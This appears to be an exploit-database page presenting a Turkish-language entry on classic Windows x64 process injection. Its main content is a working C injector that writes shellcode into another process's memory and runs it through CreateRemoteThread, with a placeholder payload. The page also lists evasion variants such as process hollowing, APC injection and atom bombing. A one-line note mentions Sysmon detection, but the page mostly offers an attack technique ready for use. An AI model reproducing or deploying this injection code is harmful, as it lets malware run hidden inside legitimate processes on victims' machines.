Siber Alem / Detail / 255 / Windows-x64-classic-process-injection-remote-thread-shellcode
vuln_report_viewer.sh
VULN REPORT / shellcode / ID: 255

Windows/x64 Classic Process Injection - Remote Thread Shellcode

2026-07-21
35 views
Verified
Windows x64

Summary

This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 35 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.

exploit_255.txt
<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-indigo-500 pl-5 py-3 bg-indigo-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-indigo-700 mb-1">Modern Teknik - Windows x64 - Process Injection</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Windows/x64 Classic Process Injection - Remote Thread</h2>
    <p class="text-sm text-slate-600 mt-2">Process injection, shellcode'u megru bir Windows process'inin bellek alanina yazarak calistirmayi saglar. Bu sayede zarali kod megru surecin altinda calisir.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">C ile Classic Injection</h3>
    <p class="text-sm text-slate-700 mb-3">Sysmon Event ID 8 ve 10 ile tespit edilir.</p>
    <div class="bg-slate-900 text-cyan-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
#include <windows.h>
unsigned char sc[] = "\x90\x90..."; // payload
int main(int argc, char** argv) {
    DWORD pid = atoi(argv[1]);
    HANDLE hP = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    LPVOID m = VirtualAllocEx(hP, NULL, sizeof(sc),
        MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hP, m, sc, sizeof(sc), NULL);
    HANDLE hT = CreateRemoteThread(hP, NULL, 0,
        (LPTHREAD_START_ROUTINE)m, NULL, 0, NULL);
    WaitForSingleObject(hT, INFINITE);
    CloseHandle(hT); CloseHandle(hP);
}
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Gelismis Varyantlar</h3>
    <div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
Process Hollowing   - Suspend + unmap + yeni image
APC Injection       - QueueUserAPC ile thread uyandirma
Atom Bombing        - GlobalAddAtom + NtQueueApcThread
Early Bird          - Suspended process'e erken inject
    </div>
  </div>
</div>

Author Profile

599eme Man
599eme Man Elite Member
View All Submissions

Entry Stats

Views 35
Downloads 6
Comments 0
Siber Alem V1 Status: Operational | Exploits: 438 (156 Verified)
Ping: 18ms Lang: EN